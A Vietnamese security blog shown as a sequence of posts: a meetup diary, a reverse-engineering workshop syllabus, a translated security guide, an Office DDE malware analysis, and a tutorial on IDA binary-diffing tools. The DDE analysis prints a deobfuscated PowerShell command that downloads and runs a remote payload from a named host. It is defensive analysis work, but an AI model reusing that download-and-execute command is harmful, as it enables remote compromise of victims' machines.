Tan nhậu, tính chuẩn bị bắt taxi lộn về Q2 thì được tin đại ka Phi Kha rủ đi ăn hủ tiếu đêm. Đại ka quảng cáo quán hủ tiếu này ngon nhất lục tỉnh Nam Kỳ. Thế là đoàn người, lúc đó chắc còn hơn chục, gồm: Đại ka Kha, lđ Seamoun, lđ Đức Abe, lđ Dương K4i; lđ Quảng_Viettel; ku em HuyNA, Quân Đoàn, tôi và ku em Điện, cùng vài người nữa không nhớ rõ, từng tốp bắt taxi tới địa chỉ quán.

Hix, lúc lên xe cũng tầm muộn nên ai cũng mệt rồi, tưởng lđ K4i với ku em Quân Đoàn thế nào, lên xe báo địa chỉ làm bác tài drift một phát đáp thẳng ra Q10, trong khi quán nằm ở Q5. Xuống xe đi bộ chối chết, hai thầy trò Crypto vừa đi vừa tâm sự … lúc alo để lấy lại thông tin quán, nhìn hai thầy trò nhà này thực hiện “cryptanalysis” mà tôi nghĩ chắc về bảo ông con nhà tôi thôi đừng học toán nữa 😀 . Tới được quán thì anh em cũng đã ăn gần xong rồi 😦 , gọi được tô hủ tiếu..tôi nói thật lúc đó chỉ cắm mặt vào ăn không ngẩng mặt lên được … đúng như quảng cáo “ngon nhất lục tỉnh Nam Kỳ“. Bạn nào ở SG nhớ ghé quán này nhá : Hủ tiếu Cả Cần 110 Hùng Vương, phường 09, quận 05.

Ngày cuối cùng ở SG, tôi với ku em Điện lượn ra chỗ khu Nhà thờ Đức Bà vì cũng tiện đường ra sân bay, và cùng vì tới SG người ta hay ra khu này giống như sang Sing dân mình hay ra chỗ “con mèo” chụp ảnh check-in á 😀 .

Đang lang thang ở khu Nhà thờ thì bắt gặp ngay “thợ đục lỗ” kiêm shipper Mạnh Luật đang đi bán áo dạo, tiện tay tôi mua luôn hai cái 😀

l4w  

Lát sau, chui vào quán cafe mà lúc nhắn địa chỉ, lđ Dương K4i bảo “sang chảnh vãi nồi” … tôi đâu biết, đi bộ loanh quanh mỏi chân quá, thấy có quán thì táp vào thôi 😦

caphejpg  

Rời quán cafe, anh em tôi được lđ Dương K4i mời đi ăn quán Cơm tấm sườn, địa chỉ quen thuộc khi lđ vào công tác ở Sài Thành. Cảm ơn lđ vì bữa cơm 😀 … ngon quá mà giờ tôi quên mất cả địa chỉ 😦

 
#trà_đá_hacking#7 #Sài_Gòn #những_người_bạn #See_ya IMG_20180827_105048

Cuối tháng 8 này, hội thảo #Tràđáhacking_#7 sẽ được tổ chức tại Sài Gòn (thông tin các bạn có thể xem tại http://event.tradahacking.vn/ hoặc https://www.facebook.com/tradahackingvn/) . Tôi có may mắn nhận được lời mời của g4mm4 (Co-Founder của CyberJutsu) , thành viên của nhóm VNSecurity  vào Sài Thành làm một Training Workshop cơ bản về RE (Reverse Engineering) trong vòng 2 ngày.

Và tôi đã nhận lời!! Lý do rất đơn giản: Trà Đá là nơi tôi quen được những người bạn nói thật và làm thật, mong muốn giúp thúc đẩy phong trào học tập và nghiên cứu An Ninh thông tin chuyên sâu, cũng như tạo ra một không gian trao đổi và nghiên cứu cho cộng đồng nói chung và các bạn trẻ yêu thích hacking/security ở Việt Nam nói riêng…., éo phải những hội thảo mà người ta chỉ đến đó để ngủ, kiếm bữa buffet miễn phí và xoa bụng đi về … 29

Nếu thiên thời, địa lợi và nhân hòa (có người đi học 4): Khóa đào tạo tổng quan về RE và các kĩ thuật liên quan này sẽ dành cho những bạn mới bắt đầu và muốn tìm hiểu về RE. Tôi sẽ chia sẻ về dịch ngược và các công việc liên quan tới lĩnh vực dịch ngược, kiến thức cơ bản về Assembly, cách nhận biết và chuyển đổi lệnh Assembly sang ngôn ngữ bậc cao, tổng quan về IDA (một trong những công cụ được nhiều chuyên gia trên thế giới sử dụng), các kĩ thuật cơ bản về Packing/Unpacking, Anti-disassembly & Anti-Debugging. Hi vọng với kiến thức hạn hẹp (vì RE lĩnh vực đòi hỏi nhiều kiến thức rộng) mà tôi chia sẻ, sẽ phần nào giúp các bạn phát triển các kĩ năng khác nhau phục vụ cho các lĩnh vực có sử dụng tới kĩ thuật dịch ngược như Malware Analysis, Exploit Development, Cracking (For fun)…”

Bạn nào có quan tâm vui lòng xem link đăng kí chi tiết tại đây https://goo.gl/BicLEw hoặc theo dõi tại website của ban tổ chức để có những cập nhật mới nhất.

Syllabus dự kiến (chắc sẽ có nhiều kiến thức các bạn đã đọc hoặc đã biết ở đâu đó, nếu bạn nào biết tôi mời lên giảng thay tôi luôn, tiền talk tôi cũng xin gửi lại cho người nói 🙂 ):

1. Reverse Engineering & Skill Requirements:
- Introduction to Reverse Engineering (What's RE? Use of RE? Related Jobs)
- RCE Skills
- Tools of Trade
+ PE Analyzer
+ Hex Editor
+ Disassembler
+ Debugger
+ Decompiler
+ System Monitorings
- Resources:
+ Links
+ Books

2. x86 Assembly Adventures:
- Review basic background
+ Number systems overview (Binary/Decimal/Hexadecimal)
+ Bit, Byte, Word, Dword
- x86 Assembly 101
+ Assembly language (Intel syntax)
+ Machine code
+ Big & Little Endian
+ x86 Registers (8 "general purpose" & instruction pointer register)
+ Instructions reference registers, immediate values and memory
+ Access Memory (directly/ indirectly)
+ Learned around 23 ASM instructions through examples
+ Stack operations; Control flow; Loop; Calling conventions...
+ Function prologue / epilogue

3. Recognizing code constructs in Assembly:
- Why need to recognize code constructs
- Inferring high level logic from ASM instructions
+ Global vs. Local variables
+ Decision Making or Branching (if; if-else; nested if; switch)
+ Looping (for loop; while loop)
+ Compound expressions
+ Function
+ Array
+ Structure

4. Introduction to IDA Pro
- Introduction to IDA Pro
- Useful Windows for Analysis
- IDA Navigation
- Using Cross-References
- IDA Interaction
- IDA Database
- Recognizing C Code Constructs in IDA
- Debugging a Binary
- Some useful plugins

5. Packers and Unpacking Techinques
- Packer Anatomy (What's packers? Type of packers; Packing Terms)
- Packing Demo
- What happens when double clicked a packed file ?
- Identifying Packed Programs
- Automated Unpacking (Howto)
- Manual Unpacking steps & demo

6. Anti-disassembly & Anti-Debugging Techniques
- Problem & Why?
- Basic Anti-Disassembler technique
- Anti-Debugging Techniques: API based anti-debugging; Manual Debugging Checks; Identifying Debugger Behavior
- Fun with some examples
- Swiss Army Knife - anti-anti-debug plugins

P.S: Tôi không phải chuyên gia đầu ngành hay đầu đít gì hết, có nhiều người giỏi hơn tôi, nhưng chắc do anh em bạn bè tôi quen đều bận cả nên tôi bỗng dưng bị gán cái mác là “thầy” 6d1dd-1___0ba8mloc5or0b8pi5tq … Hoặc do cái lĩnh vực này nó khù khoằm quá nên ít người thích dạy. Nhiều bạn cứ nghĩ học 1-2 ngày là thành “chuyên gia” này nọ, xin lỗi tôi không có khả năng để biến bạn thành một ai đó … Nhiều bạn đi học cứ nhăm nhăm vào những thứ cao siêu (ngay cả tôi cũng không biết) mà quên đi cái cốt lõi là kiến thức nền tảng cơ bản… Và còn nhiều …

#trà_sữa #tocotoco #2days #full_clip #x69

Một lần nữa tôi xin gửi lời cảm ơn trân trọng nhất tới g4mm4!! 36

Regards,

m4n0w4r

 


Lời tựa:

Toàn bộ bài hướng dẫn này được viết ra với sự giúp đỡ của sáu hacker chuyên nghiệp: Maarten van Dantzig, Rik van Duijn, Melvin Lammerts, Loran Kloeze, Sanne MaasakkersSijmen Ruwhof. Các hình ảnh minh hoạ sinh động trong bài viết được thực hiện bởi Laura Kölker. Bài viết được biên tập lại bởi Marcel Vroegrijk để đảm bảo người đọc có thể dễ dàng tiếp cận. Phiên bản gốc bằng tiếng Hà Lan của Watch Your Hack (https://laatjeniethackmaken.nl/) đã được dịch sang tiếng Anh bởi Kevin Shuttleworth tại (https://watchyourhack.com/) và được Marcel Vroegrijk chỉnh sửa lại thêm một lần nữa.

Nếu bạn thấy ai đó có nhu cầu áp dụng các mẹo và thủ thuật bảo mật, xin hãy gửi cho họ đường link của các trang web này. Bạn có thể chia sẻ thông qua các hình thức như e-mail, Twitter, FacebookWhatsApp. Nếu bạn có bất kì ý kiến hay đề nghị nào, hãy gửi qua Twitter (@danielverlaan) hoặc qua email cho tác giả.

Bạn cũng có thể đóng góp một khoản tiền nhỏ để hỗ trợ Watch Your Hack. Với 5 USD mà bạn đóng góp sẽ được dùng để trả tiền thuê máy chủ hàng tháng, hoặc để tác giả tự thưởng cho mình một ly bia . Bạn có thể chuyển tiền qua PayPal hoặc iDeal. Tiền điện tử cũng được chấp nhận:

bitcoin: 1Psq1MmgPSKy8npnAvZASdtPD18EV61U3k

ethereum: 0x264510031A8F0b55432232F65337a67cA3Eb23bB

litecoin: Lg8sxK3bk4zvdmpHHLsV76gsw9v8wbAk2S

Toàn bộ hướng dẫn này đã được tác giả đồng ý cho phép tôi dịch sang tiếng Việt và chia sẻ lại cho người thân, bạn bè của tôi, nhằm giúp mọi người nâng cao kiến thức cũng như qua đó tự bảo vệ bản thân mình trên không gian mạng. Nội dung bản dịch này, theo đúng yêu cầu của tác giả, tôi đã cố gắng tuân thủ và tôn trọng bản gốc và bản dịch tiếng Anh. Và cũng như trên, nếu bạn thấy bài dịch này của tôi có ích, hãy chia sẻ nó cho những người khác!!!

Link download bản dịch tại đây:

https://mega.nz/#!GfRkmQzS!bi_U3Mc_tA3xeQUKiX27NH-oeHLpc1MrYgibUZC7qtc

Regards

m4n0w4r


Thông tin mô tả sơ lược về Dynamic Data Exchange (DDE) tại đây: https://tinyurl.com/y9wbg2zr

Các sample sử dụng trong bài viết:

Công cụ sử dụng: Profiler (Một công cụ bổ trợ cho những ai đang làm việc trong lĩnh vực phân tích mã độc và forensic).

Trong bài viết này (tham khảo link gốc: http://cerbero-blog.com/?p=1701), tôi sẽ sử dụng công cụ Profiler (phiên bản hiện tại của phần mềm này đã bổ sung khả năng phát hiện DDE) để kiểm tra các DDE field code.

Mở sample thứ 1 trong Profiler, sau khi parse xong ta có kết quả như sau:

Như trên hình, tôi nhận thấy tệp document.xml được Profiler đánh dấu màu hồng, hàm ý có chứa nội dung độc hại. Nhấp đúp vào file này, Profiler sẽ thông báo cho ta khả năng đây có thể là một tấn công lơi dụng tính năng DDE của Office.

Toàn bộ mã DDE đã được attacker lồng ghép trong đống XML loằng ngoằng ở trên, gây khó khăn trong quá trình đọc và tìm kiếm. Profiler cung cấp một số tính năng hữu ích, hỗ trợ việc chuyển đổi để làm sạch và trích xuất nội dung cần tìm. Nhấn Ctrl + R (Execute action) để thực hiện việc chuyển XML->To text:

Tiếp theo thực hiện Text->Strip với kết quả có được ở bước trên:

Sau khi thực hiện xong hai bước trên, kết quả tôi có được đoạn text sau:

Đoạn script ở trên rất rõ ràng, thực hiện tải xuống một file powerhell từ URL (http://ec2-54-158-67-5.compute-1.amazonaws.com) và sau đó thực thi powershell này.

Với sample thứ 2, cũng thực hiện theo cách tương tự như trên, kết quả có được:

Đoạn code khá giống với sample trước, sample này cũng thực hiện download một file về để thực thi trên máy nạn nhân, chỉ khác là ở sample này file download về là một JS script.

Load sample thứ 3 vào Profiler:

Ở sample này có thể thấy toàn bộ payload của DDE đã bị obfuscate bởi attacker. Vì các chuỗi này nằm trong các thuộc tính của XML, do đó không thể áp dụng bước XML->To text được. Ta phải đọc và dò bằng tay để xóa, may mắn là chỉ có 3 đoạn có sử dụng “QUOTE” như vậy. Kết quả sau khi xóa bằng tay:

Nhìn vào đây thì ta có thể thấy các số này sẽ tương ứng với các chữ cái trong bảng mã ASCII. Ví du: 67 58 92 80 114 111 103 sẽ là C : \ P r o g. Profiler hỗ trợ cho phép thực thi Python script, do đó ta sử dụng một đoạn script nhỏ thực hiện chuyển đổi toàn bộ các số ở trên thành dạng hex string:

Kết quả có được sau khi thực hiện script:

Sau đó, chọn toàn bộ chuỗi hex vừa sinh ra và thực hiện Conversion-> Hex string to bytes:

Các bytes được decode ở dạng hex như sau:

Chọn toàn bộ hex string trên và chọn Copy -> Ascii, ta có được DDE code đầy đủ như sau:

C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(‘http://netmediaresources.com/config.txt’);powershell -enc $e #a slow internet connectiontry again later

Qua đây có thể thấy rằng, Microsoft Office là một ứng dụng phổ biến được sử dụng trong mọi tổ chức. Chính việc sử dụng rộng rãi cùng với nhiều tính năng mà công cụ này đem lại, đã khiến Microsoft Office trở thành mục tiêu được nhắm tới nhiều nhất của các attacker. Theo thống kê của Kaspersky, trong quý I năm 2018, tỷ lệ cuộc tấn công nhắm vào Microsoft Office đã tăng lên gần 50%.


Lâu rồi không viết lách gì, blog mốc hết cả!!

Trong bài này tôi sẽ giới thiệu với các bạn về các công cụ bổ trợ cho IDA trong việc so sánh sự khác nhau giữa hai binary.

Nếu các bạn là dân dev, hay dân văn phòng suốt ngày lọ mọ với một mớ code/ tài liệu thì chắc sẽ chẳng lạ gì với việc tự làm “bằng cơm” hoặc sử dụng công cụ chuyên dụng để so sánh sự khác nhau/ sai khác trong cùng một source code hoặc giữa cùng một tài liệu tại những thời điểm khác nhau.

Tôi lấy ví dụ về việc so sánh giữa hai file văn bản: bên trái là file gốc vs bên phải là file đã chỉnh sửa (nhưng chữ sửa trong file để font màu trắng). Nếu không dùng tool mà làm “bằng cơm” để kiểm tra sự thay đổi, tôi đố các bạn tìm được 🙂

Với các file binary cũng vậy, công cụ differ cũng sẽ cho ta biết sự khác biệt/ thay đổi giữa hai phiên bản của cùng một chương trình, các công cụ này sẽ cố gắng thực hiện phân tích, so khớp các hàm trong chương trình và đưa ra kết qủa về những hàm có sự thay đổi và thay đổi ở đâu.

Ta thấy rõ ràng để thực hiện công việc này không phải là dễ dàng, đặc biệt là khi có những thay đổi lớn từ phiên bản này sang phiên bản khác, sự thay đổi này có thể đến từ việc cập nhật các bản vá bảo mật để giải quyết các lỗ hổng tồn tại trong chương trình, hoặc có thể là những cải tiến mới trong tính năng của chương trình, v.v… Với dân chuyên crack soft hoặc tìm hiểu cracking thì việc so sánh giữa file gốc và file đã patch có thể giúp cho họ tìm hiểu được cách patch của các cracker khác. Với dân chuyên nghiên cứu exploit thì việc làm này có thể giúp họ biết được một bản vá bảo mật có giải quyết được triệt để lỗi hay không? Hay là patch lỗi này lại sinh ra lỗi khác có thể khai thác được.

Tính tới thời điểm hiện tại, cá nhân tôi biết được có 3 công cụ differ sử dụng kết hợp với IDA. Trong bài viết này (tham khảo từ bài viết của thầy Ricardo Narvaja), tôi sẽ giới thiệu lần lượt các công cụ này và tùy cảm nhận của từng người mà lựa chọn cho mình công cụ phù hợp hoặc sử dụng kết hợp.

1. BinDiff

Công cụ phải nói tới đầu tiên chính là BinDiff, mục tiêu của nó là một công cụ hỗ trợ so sánh các tập tin nhị phân nhằm giúp các chuyên gia nghiên cứu lỗ hổng có thể nhanh chóng tìm thấy sự khác biệt và tương đồng trong mã chương trình được phân rã ở dạng câu lệnh asm. Công cụ này được phát triển bởi Zynamics, công ty này sau đó được Google mua lại vào năm 2011. Phiên bản mới nhất tính đến thời điểm của bài viết này là BinDiff v4.3. Thông tin chi tiết về BinDiff có thể tìm đọc tại đây: https://www.zynamics.com/software.html

Các bạn download về và tiến hành cài đặt. Việc cài đặt BinDiff dễ như các bạn cài Win dạo, khác mỗi là bạn không phải kiếm cr@ck thôi, chú ý là trên máy cần phải cài đặt Java Runtime Enviroment (JRE) trước nhé. BinDiff hiện chỉ hỗ trợ cho IDA 6.x, chưa có plugin cho 7.x.

Để minh họa cho việc sử dụng BinDiff, tôi sẽ sử dụng các file .idb có sẵn: một file có vuln và một file đã được fix. Mở IDA lên và load database của file có vuln (VULNERABLE_o_NO.idb) vào:

Sau khi IDA load xong database của file có vuln, truy cập menu Edit > Plugins và chọn BinDiff 4.3:

Cửa sổ BinDiff sẽ xuất hiện như hình dưới:

Tiếp theo chọn Diff Database… và tìm tới database của file đã fix vuln để so sánh:

BinDiff sẽ chạy và phân tích hai databse này:

Sau khi thực hiện xong, BinDiff sẽ hiển thị kết quả cho chúng ta. Có thể các cửa sổ của BinDiff tại IDA của các bạn sẽ không giống như tôi, các bạn có thể thực hiện drag & drop để lựa chọn một chế độ xem phù hợp nhất:

Tab mà chúng ta quan tâm là “Matched Functions”:

Tại đây, các ban sẽ thấy cột đầu tiên (similarity) cung cấp kết quả về sự giống nhau giữa các hàm, Theo kinh nghiệm của nhiều người đã dùng BinDiff thì nếu giá trị trả về bằng 1.00 thì có nghĩa là hai hàm đó hoàn toàn giống nhau, không có thay đổi gì, ngược lại nếu giá trị này < 1.00 thì có nghĩa là cùng một hàm nhưng đã có sự thay đổi, khác biệt. Để dễ dàng và thuận tiện thì chúng ta chỉ việc nhấp chuột vào đầu cột đó để sắp xếp chúng theo kết quả từ khác nhau đến giống nhau. Tương tự như hình:

Theo kết quả có được như trên hình, ta thấy rằng ở đây chỉ có một điểm tương đồng nhỏ hơn 1. Nhấn chuột phải tại đó và chọn View Flowgraphs hoặc nhấn phím tắt là Ctrl+E:

Lúc này, plugin sẽ sẽ gọi tới bindiff.jar trong thư mục cài đặt của BinDiff để hiển thị FlowGraphs của hai hàm có sự thay đổi ở trên:

Như trên hình, ta thấy các khối được highlight bằng màu xanh, đó là những khối có code giống nhau, còn khối được highlight bằng màu vàng là khối có sự thay đổi và những câu lệnh thay đổi cũng được BinDiff highlight bằng những màu khác nhau để ta có thể dễ dàng nhận ra:

Như trên hình, các bạn sẽ nhận thấy được sự thay đổi ở lệnh nhảy, và chúng ta cũng đã biết việc đổi từ lệnh nhảy JLE thành JBE là cách để chương trình tránh bị dính lỗi Buffer Overflow, do vậy nếu trong một chương trình mà ta có cả phiên bản bị lỗi và phiên bản đã được vá lỗi, sau khi so sánh và nhìn vào các hàm đã thay đổi thì chúng ta sẽ phải thực hiện reverse lại hàm đó để xem nó có thực sự là lỗ hổng của chương trình hay không.

Một trong những ưu điểm của BinDiff so với hai công cụ sắp được đề cập là ngoài việc hỗ trợ chế độ đồ họa tương tác rất tốt, khả năng parse trực tiếp các file .idb mà không cần phải tạo ra các file trung gian thì nó còn cung cấp khả năng tìm kiếm rất tiện lợi, qua đó ta có thể tìm kiếm địa chỉ và bất kỳ đoạn text nào. Ví dụ, tôi thực hiện tìm kiếm chuỗi “cmp”:

Bên cạnh đó, BinDiff hỗ trợ sao chép địa chỉ của khối có thay đổi, qua đó ta có thể đi tới được khối này trong IDA bằng việc nhấn G và dán địa chỉ đã copy vào:

BinDiff cũng cung cấp một cửa sổ nhỏ tương tự như cửa sổ Graph Overview của IDA để giúp dễ dàng di chuyển, quan sát các hàm cùng danh sách các khối đã được phân rã:

Như các bạn thấy BinDiff cung cấp cho chúng ta một giao diện cùng các tính năng hữu ích, với những file đơn giản như trong ví dụ này thì các bạn thấy có vẻ dễ dàng, tuy nhiên với các ứng dụng lớn và phức tạp hơn thì sẽ không ngon ăn như thế này đâu.

“Dễ thế này thì Đông Lào người ta đi săn bug hết!!”

Do BinDiff hiện tại chỉ hỗ trợ IDA 6.x, với phiên bản IDA 7.x thì phải sử dụng BinExport (https://github.com/google/binexport) để xuất ra file và import vào Bindiff để so sánh. Phiên bản BinExport mà tôi đang sử dụng được build bởi bạn Ngôn Nguyễn (aka @computerline). Cách thức thực hiện như sau, đầu tiên load db của file có lỗi (VULNERABLE_o_NO.idb) vào IDA 7.x. Sau khi load xong, vào Edit > Plugins chọn BinExport:

Giao diện của BinExport sẽ xuất hiện, chọn BinExport v2 Binary Export:

Sau đó lưu lại với tên bất kì với phần mở rộng là .BinExport (ví dụ: VULNERABLE_o_NO.BinExport)

Tiếp theo, dùng IDA load db của file đã fix lỗi (NO_VULNERABLE.idb) và cũng thực hiện tương tự như trên, lưu thành file có tên là NO_VULNERABLE.BinExport:

Sau khi có hai file được export bằng BinExport, chạy trực tiếp Bindiff và load hai file này vào để so sánh:

Sau khi nhấn Diff thì bên tab Workspace sẽ hiển thị tên hai file được so sánh và tab Overview sẽ cung cấp kết quả so sánh:

Nhấp đúp vào tên hai file được so sánh tại tab Workspace, BinDiff sẽ hiển thị kết quả chi tiết:

Tiếp theo, chọn Matched Functions, sắp xếp lại theo mức độ tương đồng (Similarity):

Cuối cùng, nhấn chuột phải tại hàm có sự khác biệt, chọn Open Flow Graph và phân tích kết quả trả về:

2. Turbodiff

Công cụ cho phép so sánh binary tiếp theo là TurboDiff. Đây là một plugin được code bởi tác giả Nicolas Economou (@NicoEconomou), là đồng nghiệp trước đây với thầy Ricardo Narvaja tại Core Security. Các bạn có thể download plugin này tại: https://www.coresecurity.com/corelabs-research/open-source-tools/turbodiff, tuy nhiên đây là phiên bản cũ. Phiên bản mà thầy Ricardo Narvaja sử dụng là phiên bản mới hơn. Việc cài đặt rất dễ, chỉ việc chép file turbodiff.plw vào thư mục plugins của IDA là xong.

Tương tự như đã làm với BinDiff, nhưng khác chút là ta load database NO_VULNERABLE.idb của file đã fix lỗi trước. Sau khi IDA load xong, vào menu Edit > Plugins và chọn Turbodiff:

Để so sánh được thì TurboDiff cần phải lấy thông tin từ file .idb:

Lựa chọn “take info from this idb” và nhấn OK, turbodiff sẽ phân tích và tạo ra 2 file có đuôi mở rộng là .dis và .ana:

Sau đó, mở database của file có lỗi và cũng làm tương tự như trên:

Khi phân tích xong, ta tiếp tục chọn turbodiff một lần nữa, nhưng lần sẽ thực hiện so sánh bằng cách chọn “compare with…” và nhấn OK:

Chọn file cần so sánh là db của file đã được fix lỗi:

Giữ nguyên cấu hình mặc định của turbodiff và nhấn OK:

Ta sẽ có được kết quả như sau:

Tại tab “Turbodiff results” ta nhấn CTRL + F và tìm kiếm từ khóa là “changed” hoặc “suspicious” để hiển thị những chỗ thay đổi:

Sau khi có được kết quả như hình, nhấp đúp vào đó, turbo diff sẽ sử dụng wingrap32 để hiển thị flow graph:

Như các bạn thấy turbodiff đã cung cấp thông tin về khối lệnh có sự thay đổi. Tương tự như Bindiff, turbodiff cũng sử dụng một mã màu để biểu diễn cho tỉ lệ thay đổi, màu xanh lá cây được sử dụng cho các khối có những thay đổi ít, màu vàng sẽ dùng cho các khối có thay đổi nhiều và màu đỏ sử dụng cho các khối được thêm vào. Rõ ràng, về mặt đồ họa và khả năng tương tác thì không thể so sánh được với Bindiff, nhưng bù lại là tốc độ của Turbodiff thực sự rất nhanh. Hiệu năng là điều rất đáng quan tâm nếu áp dụng với các file có kích thước lớn và nó không hiển thị quá màu mè như Bindiff. Một điểm khác nữa với Bindiff là Turbodiff phải parse database của IDA thành các file trung gian rồi mới so sánh.

3. Diaphora

Công cụ so sánh binary cuối cùng mà tôi giới thiệu với các bạn là diaphora, đây là một plugin do Joxean Koret (@matalaz) viết bằng Python. Joxean Koret là tác giả của cuốn sách “The Antivirus Hacker’s Handbook” và hình như có quen biết với anh Quỳnh khi làm việc ở Coseinc. Để sử dụng được diaphora các bạn có thể download tại đây: https://github.com/joxeankoret/diaphora. Tính đến thời điểm hiện tại diaphora không còn hỗ trợ IDA 6.8 nữa, mà chỉ làm việc với IDA Pro 6.9, 6.95 và 7.0.

Tương tự như đã làm với các công cụ trước, đầu tiên ta load db của file đã fix lỗi vào IDA trước. Do là dạng python script, nên để chạy được diaphora ta vào File > Script File…

Tìm tới thư mục chứa file diaphora.py và lựa chọn file này để chạy:

Màn hình Diaphora sẽ xuất hiện, ta có thể lựa chọn đường dẫn để lưu file SQLite db cho file hiện tại đang phân tích bởi IDA hoặc giữ nguyên đường dẫn mà Diaphora thiết lập:

Sau đó nhấn OK để Diaphora tiến hành công việc phân tích và lưu thành file sqlite:

Thực hiện tương tự với file có lỗi:

Sau khi thực hiện xong hai bước trên ta sẽ có được 2 file sqlite để phục vụ cho việc so sánh. Tiếp theo, ta mở lại diaphora.py (lúc này IDA đang mở db của file có lỗi):

Ở phần “SQLite database to diff against”, ta tìm đến file sqllite được tạo ra trước đó của file đã fix lỗi. Chọn file này và nhấn Open:

Cuối cùng nhấn OK để Diaphora tiến hành xử lý vá so sánh. Diaphora sẽ hỏi như hình dưới, chỉ việc nhấn Yes là xong:

Sau khi compare xong, diaphora sẽ hiển thị 2 tab mới tại IDA với tên là Best matchesPartial matches. Tại tab Best matches là các hàm giống nhau hoàn toàn và không thay đổi, nên ta không cần quan tâm tới tab này:

Tab Partial matches sẽ cung cấp cho chúng ta thông tin về các hàm có khả năng khác nhau:

Ta thấy diaphora đã tìm được hai hàm bị thay đổi như trên. Về cơ bản, chủ quan mà nói tôi thấy diaphora cho kết quả hên xui so với Bindiff và Turbodiff, nếu chạy với IDA7 thì không ra được Partial maches, chạy với IDA 6.8 thì mới ra được kết quả mong muốn. Ngoài ra, do được viết bằng python nên diaphora chạy khá lâu, theo tôi thì nó chạy lâu nhất, gặp phải db lớn là xác định ngồi đợi. Để xem được sự thay đổi ở một hàm nào đó, nhấn chuột phải tại hàm đó và chọn chế độ Diff assembly in a graph:

Kết quả có được như hình dưới đây:

Chế độ graph này của diaphora nhìn có vẻ tốt hơn Turbodiff một chút, nhưng cũng không cho ta khả năng tương tác như ở Bindiff, khối quan trọng đã thay đổi được highlight bằng màu đỏ, còn màu vàng là khối có những thay đổi nhỏ, ví dụ như ta đổi tên của một biến. Ngoài ra, diaphora còn cung cấp tùy chọn khác là Diff pseudo code, sử dụng Hexrays decompiler đi kèm với IDA để xây dựng lại mã nguồn của file thực thi. Kết quả có được khi lựa chọn tùy chọn này như hình dưới đây:

Hết!

“Bạn nào thấy dở thì nhớ Follow, nhấn Like để ủng hộ nhé!” ← Tôi học câu này từ mấy kênh trên YouTube

 

 

 


C9X3VbkVoAA6xJO.jpg large

Tới đây, dự kiến vào hai ngày thứ Năm và thứ Sáu 29,30/3/2018, tôi sẽ dành thời gian đào tạo những kiến thức cơ bản về “Lập trình và Reverse Engineering“. Lý do có khóa đào tạo này là bởi: “Kiến thức tôi có được là do thu lượm từ cộng đồng … do đó, tôi muốn chia sẻ lại để tạo động lực cho những bạn nào có nhu cầu, để từ đó các bạn có thể tiếp tục đi tiếp.”

Bạn nào có quan tâm (hoặc đơn giản chỉ muốn gặp tôi xin chữ kí sexy_girl) vui lòng xem chi tiết tại đây.

Regards,

m4n0w4r

2016-04-21_18-33-26


Ở các phần trước, tôi đã hướng dẫn chi tiết quá trình unpack một unpackme được packed bởi tElock có áp dụng kĩ thuật chuyển hướng IAT (IAT redirected). Trong các phần tới đây, nếu có thời gian tôi sẽ tiếp tục nâng dần độ khó của packer lên. Với phần này, tôi sẽ dành thời gian để thực hành với một unpackme khác là UnPackMe_YodasCrypter1.3.e.exe.

Để đảm bảo cho quá trình làm việc với các packers, OllyDbg cần được trang bị các plugins cần thiết để tránh bị phát hiện bởi các cơ chế anti-debug. Các plugins thì các bạn có thể tìm đọc trong các phần tôi viết về Anti-Debug hoặc tìm hiểu thêm thông qua các trang khác như tuts4you.com, v.v…

Download toàn bộ bài viết tại đây:

https://mega.nz/#!a0kX0ISC!Se1ABV9eySLlkpn3hYIL4OSzBemQYPeYRWkzNRj3Nug

Regards,

m4n0w4r

OllyDbg_tut31

Posted: December 16, 2017 in OllyDbg_tut31, Uncategorized
Tags: ,